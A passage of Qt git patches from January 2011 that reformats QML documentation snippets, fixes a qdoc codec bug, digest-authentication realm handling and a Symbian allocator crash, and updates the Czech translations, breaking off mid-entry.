+        x: 50; y: 210; height: 40
+        verticalAlignment: Text.AlignVCenter
+    }
+}
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 0000000..374d89d
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+
+
+  Checker
+  A checkerboard pattern to use as a background.
+  
+    
+  
+  
+    
+  
+  
+    
+  
+
-- 
cgit v0.12


From 57f2890a28f5bed8476019d4f280e75e982cfe25 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 14:54:31 +0100
Subject: Ensured that an uninitialized output codec is never used.

See task for contributor information.

Task-number: QTBUG-16462
---
 tools/qdoc3/pagegenerator.cpp | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
index e9566ee..89ec6fe 100644
--- a/tools/qdoc3/pagegenerator.cpp
+++ b/tools/qdoc3/pagegenerator.cpp
@@ -56,6 +56,7 @@ QT_BEGIN_NAMESPACE
   Nothing to do in the constructor.
  */
 PageGenerator::PageGenerator()
+    : outputCodec(0)
 {
     // nothing.
 }
@@ -294,7 +295,9 @@ void PageGenerator::beginSubPage(const Location& location,
     if (!outFile->open(QFile::WriteOnly))
 	location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
     QTextStream* out = new QTextStream(outFile);
-    out->setCodec(outputCodec);
+
+    if (outputCodec)
+        out->setCodec(outputCodec);
     outStreamStack.push(out);
 }
 
-- 
cgit v0.12


From 3d769613d5efc642ebfd8d5fe7c149834132fe65 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 15:09:14 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 src/declarative/graphicsitems/qdeclarativeitem.cpp | 44 +++++++++++---------
 .../graphicsitems/qdeclarativepositioners.cpp      | 10 +++--
 .../graphicsitems/qdeclarativerectangle.cpp        |  5 ++-
 src/declarative/graphicsitems/qdeclarativetext.cpp | 35 ++++++++++++----
 .../graphicsitems/qdeclarativetextinput.cpp        |  4 +-
 src/declarative/util/qdeclarativestategroup.cpp    | 48 +++++++++++++---------
 src/declarative/util/qdeclarativexmllistmodel.cpp  | 13 +++---
 7 files changed, 101 insertions(+), 58 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index e915bea..a99d918 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -2124,16 +2124,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   \o \image declarative-anchors_example.png
   \o Text anchored to Image, horizontally centered and vertically below, with a margin.
   \qml
-  Image {
-      id: pic
-      // ...
-  }
-  Text {
-      id: label
-      anchors.horizontalCenter: pic.horizontalCenter
-      anchors.top: pic.bottom
-      anchors.topMargin: 5
-      // ...
+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.horizontalCenter: pic.horizontalCenter
+          anchors.top: pic.bottom
+          anchors.topMargin: 5
+          // ...
+      }
   }
   \endqml
   \row
@@ -2143,16 +2145,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   property of both defaults to 0.
 
   \qml
-    Image {
-        id: pic
-        // ...
-    }
-    Text {
-        id: label
-        anchors.left: pic.right
-        anchors.leftMargin: 5
-        // ...
-    }
+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.left: pic.right
+          anchors.leftMargin: 5
+          // ...
+      }
+  }
   \endqml
   \endtable
 
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
index 4e049c7..e0bd2ff 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
@@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
   \qml
   Column {
       spacing: 2
-      add: ...
-      move: ...
-      ...
+      add: Transition {
+          // Define an animation for adding a new item...
+      }
+      move: Transition {
+          // Define an animation for moving items within the column...
+      }
+      // ...
   }
   \endqml
 
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
index 403f12c..d962919 100644
--- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
@@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
 
     Example:
     \qml
-    Rectangle { border.width: 2; border.color: "red" ... }
+    Rectangle {
+        border.width: 2
+        border.color: "red"
+    }
     \endqml
 */
 
diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
index 2f3c8e5..79aa18d 100644
--- a/src/declarative/graphicsitems/qdeclarativetext.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
@@ -558,11 +558,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
     \brief The Text item allows you to add formatted text to a scene.
     \inherits Item
 
-    A Text item can display both plain and rich text. For example:
+    Text items can display both plain and rich text. For example, red text with
+    a specific font and size can be defined like this:
 
     \qml
-    Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
-    Text { text: "Hello World!" }
+    Text {
+        text: "Hello World!"
+        font.family: "Helvetica"
+        font.pointSize: 24
+        color: "red"
+    }
+    \endqml
+
+    Rich text is defined using HTML-style markup:
+
+    \qml
+    Text {
+        text: "Hello World!"
+    }
     \endqml
 
     \image declarative-text.png
@@ -789,12 +802,20 @@ void QDeclarativeText::setText(const QString &n)
 
     The text color.
 
+    An example of green text defined using hexadecimal notation:
     \qml
-    //green text using hexadecimal notation
-    Text { color: "#00FF00"; ... }
+    Text {
+        color: "#00FF00"
+        text: "green text"
+    }
+    \endqml
 
-    //steelblue text using SVG color name
-    Text { color: "steelblue"; ... }
+    An example of steel blue text defined using an SVG color name:
+    \qml
+    Text {
+        color: "steelblue"
+        text: "blue text"
+    }
     \endqml
 */
 QColor QDeclarativeText::color() const
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
index 57a2177..cb308f4 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
@@ -520,10 +520,10 @@ void QDeclarativeTextInput::select(int start, int end)
     It is equivalent to the following snippet, but is faster and easier
     to use.
 
-    \qml
+    \js
     myTextInput.text.toString().substring(myTextInput.selectionStart,
         myTextInput.selectionEnd);
-    \endqml
+    \endjs
 */
 QString QDeclarativeTextInput::selectedText() const
 {
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
index 7aeea12..f1d0997 100644
--- a/src/declarative/util/qdeclarativestategroup.cpp
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -102,10 +102,10 @@ public:
            id: myStateGroup
            states: State {
                name: "state1"
-               ...
+               // ...
            }
            transitions: Transition {
-               ...
+               // ...
            }
        }
 
@@ -140,11 +140,15 @@ QList QDeclarativeStateGroup::states() const
 
   \qml
   StateGroup {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // State definition...
+          },
+          State {
+              // ...
+          }
+          // Other states...
+      ]
   }
   \endqml
 
@@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty QDeclarativeStateGroup::transit
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the state group is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return a
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 7da4ecd..c582df1 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -90,8 +90,11 @@ typedef QPair QDeclarativeXmlListRange;
     \qml
     XmlListModel {
         id: xmlModel
-        ...
-        XmlRole { name: "title"; query: "title/string()" }
+        // ...
+        XmlRole {
+            name: "title"
+            query: "title/string()"
+        }
     }
 
     ListView {
@@ -792,9 +795,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
 
     This will access the \c title value for the first item in the model:
 
-    \qml
-        var title = model.get(0).title;
-    \endqml
+    \js
+    var title = model.get(0).title;
+    \endjs
 */
 QScriptValue QDeclarativeXmlListModel::get(int index) const
 {
-- 
cgit v0.12


From 1137379e98cab8cc67fac70b31c97001c4473eb0 Mon Sep 17 00:00:00 2001
From: Peter Hartmann 
Date: Mon, 24 Jan 2011 14:21:18 +0100
Subject: HTTP: fix digest authentication

no need to extract the realm from the user; with digest authentication
the realm is an attribute of its own.

Reviewed-by: Markus Goetz
Task-number: QTBUG-15070
---
 src/network/kernel/qauthenticator.cpp | 19 +------------------
 1 file changed, 1 insertion(+), 18 deletions(-)

diff --git a/src/network/kernel/qauthenticator.cpp b/src/network/kernel/qauthenticator.cpp
index 73143e1..d61d3b7 100644
--- a/src/network/kernel/qauthenticator.cpp
+++ b/src/network/kernel/qauthenticator.cpp
@@ -213,24 +213,6 @@ void QAuthenticator::setUser(const QString &user)
     int separatorPosn = 0;
 
     switch(d->method) {
-    case QAuthenticatorPrivate::DigestMd5:
-        if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
-            //domain name is present
-	    d->userDomain.clear();
-            d->realm = user.left(separatorPosn);
-            d->user = user.mid(separatorPosn + 1);
-        } else if((separatorPosn = user.indexOf(QLatin1String("@"))) != -1) {
-            //domain name is present
-	    d->userDomain.clear();
-            d->realm = user.mid(separatorPosn + 1);
-            d->user = user.left(separatorPosn);
-        } else {
-            d->user = user;
-            d->realm.clear();
-            d->userDomain.clear();
-        }
-        break;
-
     case QAuthenticatorPrivate::Ntlm:
         if((separatorPosn = user.indexOf(QLatin1String("\\"))) != -1) {
             //domain name is present
@@ -253,6 +235,7 @@ void QAuthenticator::setUser(const QString &user)
         break;
     default:
         d->user = user;
+        d->userDomain.clear();
         break;
     }
 }
-- 
cgit v0.12


From 67601dec71ee5b1ab1dd66bb55e00889bfeccb42 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 16:12:48 +0100
Subject: Removed a configuration file that can no longer be used.

---
 tools/qdoc3/test/qt-webxml.qdocconf | 12 ------------
 1 file changed, 12 deletions(-)
 delete mode 100644 tools/qdoc3/test/qt-webxml.qdocconf

diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
deleted file mode 100644
index 80ced42..0000000
--- a/tools/qdoc3/test/qt-webxml.qdocconf
+++ /dev/null
@@ -1,12 +0,0 @@
-include(qt.qdocconf)
-
-quotinginformation      = true
-imagedirs               = $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
-
-outputdir               = $QTDIR/doc/webxml
-outputformats           = WebXML
-
-generateindex           = true
-url                     = .
-- 
cgit v0.12


From 81941e4c5dcd18ef04b2b22dd3f1b4c04620647c Mon Sep 17 00:00:00 2001
From: Kent Hansen 
Date: Mon, 24 Jan 2011 15:32:11 +0100
Subject: Fix crash in QtScript/JSC stack allocator on Symbian

The reserved (virtual) size of the chunk is not necessarily a
multiple of the "pool" size (the physical growth increment).
The reserved size is only rounded up to a multiple of the page
size (4K), not the pool size (64K).

This meant that the commit of the _last_ part of the chunk could
(and did) fail, because we tried to commit 64K while only a size
<64K was remaining.

Detect this case and reduce the requested size accordingly.
Also add a call to CRASH() in case Commit() returns an error,
to avoid obscure crashes in JSC at a later point (grow() must
not fail).

Task-number: QTBUG-16685
Reviewed-by: Simon Hausmann
---
 .../JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp     | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
index da5cc99..e89dd7a 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
@@ -83,10 +83,16 @@ void RegisterFileAllocator::grow(void* newEnd)
         TInt nBytes = (TInt)(newEnd) - (TInt)(m_comEnd);
         nBytes = SYMBIAN_ROUNDUPTOMULTIPLE(nBytes, m_poolSize);
         TInt offset = (TInt)m_comEnd - (TInt)m_buffer;
+        // The reserved size is not guaranteed to be a multiple of the pool size.
+        TInt maxBytes = (TInt)m_resEnd - (TInt)m_comEnd;
+        if (nBytes > maxBytes)
+            nBytes = maxBytes;
 
         TInt ret = m_chunk.Commit(offset, nBytes);
         if (ret == KErrNone)
             m_comEnd = (void*)(m_chunk.Base() + m_chunk.Size());
+        else
+            CRASH();
     }
 }
 
-- 
cgit v0.12


From 0f6de139dc4cebb1f47d129279810178db16ff4a Mon Sep 17 00:00:00 2001
From: Pavel Fric 
Date: Mon, 24 Jan 2011 21:11:46 +0100
Subject: Update of Czech translation for Qt 4.7-stable

Merge-request: 2553
Reviewed-by: Oswald Buddenhagen 
---
 translations/assistant_cs.ts | 1077 ++++--
 translations/designer_cs.ts  | 1472 +-------
 translations/linguist_cs.ts  | 1396 +++++---
 translations/qt_cs.ts        | 7942 +++++++++++++++++++++---------------------
 translations/qt_help_cs.ts   |  166 +-
 5 files changed, 5988 insertions(+), 6065 deletions(-)
 mode change 100644 => 100755 translations/assistant_cs.ts
 mode change 100644 => 100755 translations/designer_cs.ts
 mode change 100644 => 100755 translations/linguist_cs.ts
 mode change 100644 => 100755 translations/qt_cs.ts
 mode change 100644 => 100755 translations/qt_help_cs.ts

diff --git a/translations/assistant_cs.ts b/translations/assistant_cs.ts
old mode 100644
new mode 100755
index 2156187..9b9e486
--- a/translations/assistant_cs.ts
+++ b/translations/assistant_cs.ts
@@ -4,7 +4,6 @@
 
     AboutDialog
     
-        
         &Close
         &Zavřít
     
@@ -12,427 +11,886 @@
 
     AboutLabel
     
-        
         Warning
         Varování
     
     
-        
         Unable to launch external application.
 
         Chyba při spouštění vnější aplikace.
 
     
     
-        
         OK
         OK
     
 
 
+    Assistant
+    
+        Error registering documentation file '%1': %2
+        Chyba při záznamu souboru s dokumentací '%1': %2
+    
+    
+        Error: %1
+        Chyba: %1
+    
+    
+        Could not register documentation file
+%1
+
+Reason:
+%2
+        Soubor s dokumentací %1 nelze zaznamenat
+
+Důvod:
+%2
+    
+    
+        Documentation successfully registered.
+        Dokumentace byla úspěšně zaznamenána.
+    
+    
+        Could not unregister documentation file
+%1
+
+Reason:
+%2
+        Zaznamenání souboru s dokumentací %1 nelze zrušit
+
+Grund:
+%2
+    
+    
+        Documentation successfully unregistered.
+        Dokumentace byla úspěšně odstraněna.
+    
+    
+        Error reading collection file '%1': %2.
+        Chyba při čtení sbírkového souboru '%1': %2.
+    
+    
+        Error creating collection file '%1': %2.
+        Chyba při vytváření sbírkového souboru '%1': %2.
+    
+    
+        Cannot load sqlite database driver!
+        Databázový ovladač pro SQLite nelze nahrát!
+    
+
+
     BookmarkDialog
     
-        
         Add Bookmark
         Přidat záložku
     
     
-        
         Bookmark:
         Záložka:
     
     
-        
         Add in Folder:
         Zřídit ve složce:
     
     
-        
         New Folder
         Nová složka
     
     
-        
-        
-        
-        
-        
         Bookmarks
-        Záložky
+        Záložky
     
     
-        
         +
         +
     
     
-        
         Delete Folder
-        Smazat složku
+        Smazat složku
     
     
-        
         Rename Folder
         Přejmenovat složku
     
 
 
+    BookmarkItem
+    
+        New Folder
+        Nová složka
+    
+    
+        Untitled
+        Bez názvu
+    
+
+
     BookmarkManager
     
-        
         Bookmarks
-        Záložky
+        Záložky
+    
+    
+        Untitled
+        Bez názvu
     
     
-        
         Remove
         Odstranit
     
     
-        
         You are going to delete a Folder, this will also<br>remove it's content. Are you sure to continue?
         Když smažete tuto složku, bude smazán i <br>celý její obsah. Opravdu chcete pokračovat?
     
     
-        
-        
+        Manage Bookmarks...
+        Spravovat záložky...
+    
+    
+        Add Bookmark...
+        Přidat záložku...
+    
+    
+        Ctrl+D
+        Ctrl+D
+    
+    
+        Delete Folder
+        Smazat složku
+    
+    
+        Rename Folder
+        Přejmenovat složku
+    
+    
+        Show Bookmark
+        Ukázat záložku
+    
+    
+        Show Bookmark in New Tab
+        Ukázat záložku v nové kartě
+    
+    
+        Delete Bookmark
+        Smazat záložku
+    
+    
+        Rename Bookmark
+        Přejmenovat záložku
+    
+    
         New Folder
-        Nová složka
+        Nová složka
     
 
 
-    BookmarkWidget
+    BookmarkManagerWidget
     
-        
-        Filter:
-        Filtr:
+        Manage Bookmarks
+        Spravovat záložky
+    
+    
+        Search:
+        Hledat:
     
     
-        
         Remove
         Odstranit
     
     
-        
+        Import and Backup
+        Zavést a zazálohovat
+    
+    
+        OK
+        OK
+    
+    
+        Import...
+        Zavést...
+    
+    
+        Export...
+        Vyvést...
+    
+    
+        Open File
+        Otevřít soubor
+    
+    
+        Files (*.xbel)
+        Soubory XBEL (*.xbel)
+    
+    
+        Save File
+        Uložit soubor
+    
+    
+        Qt Assistant
+        Qt Assistant
+    
+    
+        Unable to save bookmarks.
+        Nelze uložit záložky.
+    
+    
+        You are goingto delete a Folder, this will also<br> remove it's content. Are you sure to continue?
+        Chystáte se smazat složku, což <br> odstraní i její obsah. Jste si jistý, že chcete pokračovat?
+    
+    
         Delete Folder
         Smazat složku
     
     
-        
         Rename Folder
         Přejmenovat složku
     
     
-        
         Show Bookmark
         Ukázat záložku
     
     
-        
         Show Bookmark in New Tab
         Ukázat záložku v nové kartě
     
     
-        
         Delete Bookmark
         Smazat záložku
     
     
-        
         Rename Bookmark
         Přejmenovat záložku
     
+
+
+    BookmarkModel
+    
+        Name
+        Název
+    
+    
+        Address
+        Adresa
+    
+    
+        Bookmarks Menu
+        Nabídka se záložkami
+    
+
+
+    BookmarkWidget
+    
+        Filter:
+        Filtr:
+    
+    
+        Remove
+        Odstranit
+    
+    
+        Delete Folder
+        Smazat složku
+    
+    
+        Rename Folder
+        Přejmenovat složku
+    
+    
+        Show Bookmark
+        Ukázat záložku
+    
+    
+        Show Bookmark in New Tab
+        Ukázat záložku v nové kartě
+    
+    
+        Delete Bookmark
+        Smazat záložku
+    
+    
+        Rename Bookmark
+        Přejmenovat záložku
+    
     
-        
         Add
         Přidat
     
+    
+        Bookmarks
+        Záložky
+    
 
 
     CentralWidget
     
-        
         Add new page
         Přidat novou stranu
     
     
-        
         Close current page
         Zavřít současnou stranu
     
     
-        
         Print Document
         Vytisknout dokument
     
     
-        
-        
         unknown
         Neznámý
     
     
-        
         Add New Page
         Přidat novou stranu
     
     
-        
         Close This Page
         Zavřít tuto stranu
     
     
-        
         Close Other Pages
         Zavřít jiné strany
     
     
-        
         Add Bookmark for this Page...
         Přidat záložku pro tuto stranu...
     
     
-        
         Search
         Hledat
     
 
 
+    CmdLineParser
+    
+        Usage: assistant [Options]
+
+-collectionFile file       Uses the specified collection
+                           file instead of the default one
+-showUrl url               Shows the document with the
+                           url.
+-enableRemoteControl       Enables Assistant to be
+                           remotely controlled.
+-show widget               Shows the specified dockwidget
+                           which can be "contents", "index",
+                           "bookmarks" or "search".
+-activate widget           Activates the specified dockwidget
+                           which can be "contents", "index",
+                           "bookmarks" or "search".
+-hide widget               Hides the specified dockwidget
+                           which can be "contents", "index"
+                           "bookmarks" or "search".
+-register helpFile         Registers the specified help file
+                           (.qch) in the given collection
+                           file.
+-unregister helpFile       Unregisters the specified help file
+                           (.qch) from the give collection
+                           file.
+-setCurrentFilter filter   Set the filter as the active filter.
+-remove-search-index       Removes the full text search index.
+-rebuild-search-index      Re-builds the full text search index (potentially slow).
+-quiet                     Does not display any error or
+                           status message.
+-help                      Displays this help.
+
+        
+    
+    
+        Unknown option: %1
+        Neznámá volba: %1
+    
+    
+        The collection file '%1' does not exist.
+        Sbírkový soubor '%1' neexistuje.
+    
+    
+        Missing collection file.
+        Chybí sbírkový soubor.
+    
+    
+        Invalid URL '%1'.
+        Neplatná adresa (URL) '%1'.
+    
+    
+        Missing URL.
+        Chybí adresa (URL).
+    
+    
+        Unknown widget: %1
+        Neznámý prvek: %1
+    
+    
+        Missing widget.
+        Chybí prvek.
+    
+    
+        The Qt help file '%1' does not exist.
+        Soubor s nápovědou ke Qt '%1' nelze najít.
+    
+    
+        Missing help file.
+        Chybí soubor s nápovědou.
+    
+    
+        Missing filter argument.
+        Chybí argument pro filtr.
+    
+    
+        Error
+        Chyba
+    
+    
+        Notice
+        Zpráva
+    
+
+
     ContentWindow
     
-        
         Open Link
         Otevřít adresu odkazu
     
     
-        
         Open Link in New Tab
         Otevřít odkaz v nové kartě
     
 
 
+    ConversionWizard
+    
+        Help Conversion Wizard
+        Průvodce pro převod nápovědy
+    
+    
+        Converting %1...
+        Převádí se %1...
+    
+    
+        Writing help collection file...
+        Zapisuje se soubor se sbírkou s nápovědou...
+    
+    
+        Done.
+        Hotovo.
+    
+
+
+    FilesPage
+    
+        Form
+        Formulář
+    
+    
+        Files:
+        Soubory:
+    
+    
+        Remove
+        Odstranit
+    
+    
+        Remove All
+        Odstranit vše
+    
+    
+        Unreferenced Files
+        Neodkazované soubory
+    
+    
+        Remove files which are neither referenced by a keyword nor by the TOC.
+        Odstranit soubory, které nejsou odkazovány ani klíčovým slovem ani obsahem (TOC).
+    
+    
+        <p><b>Warning:</b> When removing images or stylesheets, be aware that those files are not directly referenced by the .adp or .dcf file.</p>
+        <p><b>Varování:</b> Když odstraňujete obrázky nebo stylové listy, buďte si vědom, že tyto soubory nejsou přímo odkazovány souborem .adp nebo .dcf.</p>
+    
+
+
     FilterNameDialogClass
     
-        
         Add Filter Name
         Přidat název filtru
     
     
-        
         Filter Name:
         Název filtru:
     
 
 
+    FilterPage
+    
+        Form
+        Formulář
+    
+    
+        Filter attributes for current documentation (comma separated list):
+        Vlastnosti filtru pro nynější dokumentaci (čárkou oddělený seznam):
+    
+    
+        Custom Filters
+        Uživatelsky stanovené filtry
+    
+    
+        1
+        1
+    
+    
+        2
+        2
+    
+    
+        Add
+        Přidat
+    
+    
+        Remove
+        Odstranit
+    
+    
+        Filter Settings
+        Nastavení filtru
+    
+    
+        Specify the filter attributes for the documentation. If filter attributes are used, also define a custom filter for it. Both the filter attributes and the custom filters are optional.
+        Zadejte vlastnosti filtru pro dokumentaci. Pokud jsou používány vlastnosti filtru, měl by se pro ně stanovit i uživatelsky stanovený filtr. Jak vlastnosti filtru tak uživatelsky stanovené filtry jsou volitelné.
+    
+    
+        Filter Name
+        Název filtru
+    
+    
+        Filter Attributes
+        Vlastnosti filtru
+    
+    
+        The custom filter '%1' is defined multiple times.
+        Uživatelsky stanovený filtr '%1' je stanoven vícekrát.
+    
+    
+        The attributes for custom filter '%1' are defined multiple times.
+        Vlastnosti pro uživatelsky stanovený filtr '%1' jsou vymezeny vícekrát.
+    
+    
+        unfiltered
+        list of available documentation
+        Nefiltrováno
+    
+
+
     FindWidget
     
-        
         Previous
         Předchozí
     
     
-        
         Next
         Další
     
     
-        
         Case Sensitive
         Rozlišující velká a malá písmena
     
     
-        
         Whole words
-        Celá slova
+        Celá slova
     
     
-        
         <img src=":/trolltech/assistant/images/wrap.png">&nbsp;Search wrapped
         <img src=":/trolltech/assistant/images/wrap.png">&nbsp;Konec strany
     
 
 
+    FinishPage
+    
+        Converting File
+        Převádí se soubor
+    
+    
+        Creating the new Qt help files from the old ADP file.
+        Vytváří se nové soubory s nápovědou Qt ze starých souborů ADP.
+    
+
+
     FontPanel
     
-        
         Font
         Písmo
     
     
-        
         &Writing system
         Způsob &psaní
     
     
-        
         &Family
         &Písmová rodina
     
     
-        
         &Style
         &Styl
     
     
-        
         &Point size
         &Bodová velikost
     
 
 
+    GeneralPage
+    
+        Form
+        Formulář
+    
+    
+        Namespace:
+        Jmenný prostor:
+    
+    
+        Virtual Folder:
+        Virtuální složka:
+    
+    
+        General Settings
+        Obecná nastavení
+    
+    
+        Specify the namespace and the virtual folder for the documentation.
+        Zadejte jmenný prostor a virtuální složku pro dokumentaci.
+    
+    
+        Namespace Error
+        Chyba ve jmenném prostoru
+    
+    
+        The namespace contains some invalid characters.
+        Jmenný prostor obsahuje nějaké neplatné znaky.
+    
+    
+        Virtual Folder Error
+        Chyba ve virtuální složce
+    
+    
+        The virtual folder contains some invalid characters.
+        Virtuální složka obsahuje nějaké neplatné znaky.
+    
+
+
+    HelpEngineWrapper
+    
+        Unfiltered
+        Nefiltrováno
+    
+
+
+    HelpGenerator
+    
+        Warning: %1
+        Varování: %1
+    
+
+
     HelpViewer
     
-        
         Help
-        Nápověda
+        Nápověda
     
     
-        
         OK
-        OK
+        OK
+    
+    
+        <title>about:blank</title>
+        <title>about:blank</title>
     
     
-        
         <title>Error 404...</title><div align="center"><br><br><h1>The page could not be found</h1><br><h3>'%1'</h3></div>
         <title>Chyba 404 ...</title><div align="center"><br><br><h1>Stranu se nepodařilo najít.</h1><br><h3>'%1'</h3></div>
     
     
-        
         Copy &Link Location
         &Kopírovat adresu odkazu
     
     
-        
         Open Link in New Tab	Ctrl+LMB
         Otevřít odkaz v nové kartě	Ctrl+LMB
     
     
-        
         Open Link in New Tab
         Otevřít odkaz v nové kartě
     
     
-        
         Unable to launch external application.
 
-        Chyba při spouštění vnější aplikace.
+        Chyba při spouštění vnější aplikace.
 
     
 
 
+    HelpWindow
+    
+        <center><b>Wizard Assistant</b></center>
+        <center><b>Průvodce</b></center>
+    
+
+
+    IdentifierPage
+    
+        Form
+        Formulář
+    
+    
+        Create identifiers
+        Vytvořit identifikátory
+    
+    
+        Global prefix:
+        Celková předpona:
+    
+    
+        Inherit prefix from file names
+        Předponu vzít z názvů souborů
+    
+    
+        Identifiers
+        Identifikátory
+    
+    
+        This page allows you to create identifiers from the keywords found in the .adp or .dcf file.
+        Tato stránka vám umožňuje vytvořit identifikátory z klíčových slov nalezených v souboru .adp nebo .dcf.
+    
+
+
     IndexWindow
     
-        
         &Look for:
         &Hledat:
     
     
-        
         Open Link
         Otevřít adresu odkazu
     
     
-        
         Open Link in New Tab
         Otevřít odkaz v nové kartě
     
 
 
+    InputPage
+    
+        Form
+        Formulář
+    
+    
+        File name:
+        Název souboru:
+    
+    
+        ...
+        ...
+    
+    
+        Input File
+        Vstupní soubor
+    
+    
+        Specify the .adp or .dcf file you want to convert to the new Qt help project format and/or collection format.
+        Zadejte soubor .adp nebo .dcf, který chcete převést do nového formátu projektů nápovědy Qt a/nebo formátu sbírky.
+    
+    
+        Open file
+        Otevřít soubor
+    
+    
+        Qt Help Files (*.adp *.dcf)
+        Soubory s nápovědou (*.adp *.dcf)
+    
+    
+        File Open Error
+        Chyba při otevírání souboru
+    
+    
+        The specified file could not be opened!
+        Zadaný soubor nelze otevřít!
+    
+    
+        File Parsing Error
+        Chyba při zpracování souboru
+    
+    
+        Parsing error in line %1!
+        Chyba při zpracování na řádku %1!
+    
+
+
     InstallDialog
     
-        
-        
         Install Documentation
         Nainstalovat dokumentaci
     
     
-        
         Downloading documentation info...
         Stahuje se informace o  dokumentaci...
     
     
-        
         Download canceled.
         Stahování bylo zrušeno.
     
     
-        
-        
-        
         Done.
         Hotovo.
     
     
-        
         The file %1 already exists. Do you want to overwrite it?
         Soubor %1 již existuje. Chcete jej přepsat?
     
     
-        
         Unable to save the file %1: %2.
         Soubor %1 nelze uložit: %2.
     
     
-        
         Downloading %1...
         Stahuje se %1...
     
     
-        
-        
-        
         Download failed: %1.
         Stažení se nezdařilo: %1.
     
     
-        
         Documentation info file is corrupt!
         Soubor s informací o dokumentaci je poškozen!
     
     
-        
         Download failed: Downloaded file is corrupted.
         Stažení se nezdařilo: Stažený soubor je pravděpodobně poškozen.
     
     
-        
         Installing documentation %1...
         Instaluje dokumentace %1...
     
     
-        
         Error while installing documentation:
 %1
         Chyba při instalaci dokumentace:
 %1
     
     
-        
         Available Documentation:
         Dostupná dokumentace:
     
     
-        
         Install
         Instalovat
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Close
         Zavřít
     
     
-        
         Installation Path:
         Cesta pro instalaci:
     
     
-        
         ...
         ...
     
@@ -440,342 +898,375 @@
 
     MainWindow
     
-        
-        
         Index
         Rejstřík
     
     
-        
-        
         Contents
         Obsah
     
     
-        
-        
         Bookmarks
         Záložky
     
     
-        
         Search
         Hledat
     
     
-        
-        
-        
         Qt Assistant
         Qt Assistant
     
     
-        
-        
         Unfiltered
-        Bez filtru
+        Bez filtru
     
     
-        
         Page Set&up...
         &Nastavení strany...
     
     
-        
         Print Preview...
         Náhled tisku...
     
     
-        
         &Print...
         &Tisk...
     
     
-        
         New &Tab
         Nová &karta
     
     
-        
         &Close Tab
         &Zavřít kartu
     
     
-        
         &Quit
         &Ukončit
     
     
-        
+        CTRL+Q
+        Ctrl+Q
+    
+    
         &Copy selected Text
         &Kopírovat vybraný text
     
     
-        
         &Find in Text...
         &Najít v textu...
     
     
-        
+        &Find
